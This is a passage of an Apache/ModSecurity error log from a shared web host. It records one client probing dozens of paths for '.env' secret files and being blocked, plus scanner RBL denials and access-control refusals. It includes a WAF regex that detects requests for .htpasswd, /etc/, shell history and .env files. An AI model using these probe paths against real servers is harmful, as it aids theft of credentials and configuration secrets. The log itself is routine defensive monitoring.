[Sat Jun 13 18:18:05.536712 2026] [security2:error] [pid 646876:tid 647092] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/pt2/countries/src/.env"] [unique_id "ai3zPdyTkdrNlD40tSGzrwAAAFQ"] [Sat Jun 13 18:18:05.673874 2026] [security2:error] [pid 646876:tid 647105] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/pt8/library-backend-gql/.env"] [unique_id "ai3zPdyTkdrNlD40tSGzsgAAAGE"] [Sat Jun 13 18:18:05.694072 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.3:41034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:05.694521 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.3:41034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:05.695993 2026] [access_compat:error] [pid 646876:tid 646984] [remote 57.141.14.16:35268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:05.696414 2026] [access_compat:error] [pid 646876:tid 646984] [remote 57.141.14.16:35268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:05.704158 2026] [access_compat:error] [pid 646876:tid 646881] [remote 57.141.14.48:62255] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:05.704595 2026] [access_compat:error] [pid 646876:tid 646881] [remote 57.141.14.48:62255] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:05.810257 2026] [security2:error] [pid 646876:tid 647098] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/pub/.env"] [unique_id "ai3zPdyTkdrNlD40tSGzuAAAAFo"] [Sat Jun 13 18:18:05.995189 2026] [access_compat:error] [pid 648189:tid 648300] [remote 57.141.14.76:63707] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:05.995675 2026] [access_compat:error] [pid 648189:tid 648300] [remote 57.141.14.76:63707] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:06.020322 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:06.020737 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:06.052462 2026] [security2:error] [pid 648189:tid 648318] [remote 17.246.19.50:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zPlWSojQL4F7upKBrRAAAj2A"] [Sat Jun 13 18:18:06.097823 2026] [security2:error] [pid 646876:tid 647076] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/public_html/.env"] [unique_id "ai3zPtyTkdrNlD40tSGzwAAAAEQ"] [Sat Jun 13 18:18:06.191071 2026] [access_compat:error] [pid 646876:tid 646885] [remote 57.141.14.99:63554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:06.191347 2026] [access_compat:error] [pid 646876:tid 646885] [remote 57.141.14.99:63554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:06.236029 2026] [security2:error] [pid 646876:tid 647100] [client 185.177.72.9:53216] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/public_root/.env"] [unique_id "ai3zPtyTkdrNlD40tSGzxAAAAFw"] [Sat Jun 13 18:18:06.371481 2026] [security2:error] [pid 646876:tid 647019] [client 185.177.72.9:53216] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/q.php"] [unique_id "ai3zPtyTkdrNlD40tSGzyAAAAAs"] [Sat Jun 13 18:18:06.583715 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:18:06.584020 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:18:06.639146 2026] [security2:error] [pid 648189:tid 648372] [client 185.177.72.9:31134] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/qq.php"] [unique_id "ai3zPlWSojQL4F7upKBrWwAAAJg"] [Sat Jun 13 18:18:06.773983 2026] [security2:error] [pid 648189:tid 648303] [remote 17.246.19.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zPlWSojQL4F7upKBrZwAAv1E"] [Sat Jun 13 18:18:06.880111 2026] [access_compat:error] [pid 648189:tid 648343] [remote 57.141.14.77:26889] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:06.880518 2026] [access_compat:error] [pid 648189:tid 648343] [remote 57.141.14.77:26889] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:06.916963 2026] [security2:error] [pid 648189:tid 648447] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/question2/.env"] [unique_id "ai3zPlWSojQL4F7upKBrawAAAOE"] [Sat Jun 13 18:18:06.952920 2026] [security2:error] [pid 648189:tid 648231] [remote 17.22.253.80:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 80.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zPlWSojQL4F7upKBrbQAAsws"] [Sat Jun 13 18:18:07.055764 2026] [security2:error] [pid 648189:tid 648443] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/qv-frontend/.env"] [unique_id "ai3zP1WSojQL4F7upKBrcAAAAN0"] [Sat Jun 13 18:18:07.098491 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:18:07.098785 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:18:07.127740 2026] [autoindex:error] [pid 648189:tid 648469] [client 1.12.70.96:41994] AH01276: Cannot serve directory /home1/craigbro/public_html/hybridcloudinnovation/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://www.hybridcloudinnovation.com [Sat Jun 13 18:18:07.192730 2026] [security2:error] [pid 648189:tid 648481] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/rabbitmq-cluster/.env"] [unique_id "ai3zP1WSojQL4F7upKBrdAAAAP8"] [Sat Jun 13 18:18:07.329785 2026] [security2:error] [pid 648189:tid 648419] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/rails-api/react-app/.env"] [unique_id "ai3zP1WSojQL4F7upKBrfAAAAMY"] [Sat Jun 13 18:18:07.391289 2026] [security2:error] [pid 648189:tid 648249] [remote 17.241.75.230:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 230.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zP1WSojQL4F7upKBrgAAA5Bw"] [Sat Jun 13 18:18:07.429355 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.31:39634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:07.429790 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.31:39634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:07.467423 2026] [security2:error] [pid 648189:tid 648425] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/rails/.env"] [unique_id "ai3zP1WSojQL4F7upKBrggAAAMw"] [Sat Jun 13 18:18:07.538090 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.37:61094] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:07.538444 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.37:61094] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:07.589061 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:18:07.589339 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:18:07.605826 2026] [security2:error] [pid 648189:tid 648367] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/rasax/.env"] [unique_id "ai3zP1WSojQL4F7upKBriAAAAJM"] [Sat Jun 13 18:18:07.732709 2026] [security2:error] [pid 648189:tid 648241] [remote 17.241.219.64:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zP1WSojQL4F7upKBrigAA9BQ"] [Sat Jun 13 18:18:07.742002 2026] [security2:error] [pid 648189:tid 648390] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/react/.env"] [unique_id "ai3zP1WSojQL4F7upKBrjgAAAKo"] [Sat Jun 13 18:18:07.836155 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.85:39352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:07.836577 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.85:39352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:07.842127 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.59:47189] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:07.842542 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.59:47189] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:07.869013 2026] [security2:error] [pid 648189:tid 648317] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.lthssolar.com"] [uri "/public/.env"] [unique_id "ai3zP1WSojQL4F7upKBrlwAA6F8"] [Sat Jun 13 18:18:07.883717 2026] [security2:error] [pid 648189:tid 648420] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/react_todo/.env"] [unique_id "ai3zP1WSojQL4F7upKBrmQAAAMc"] [Sat Jun 13 18:18:08.022506 2026] [security2:error] [pid 648189:tid 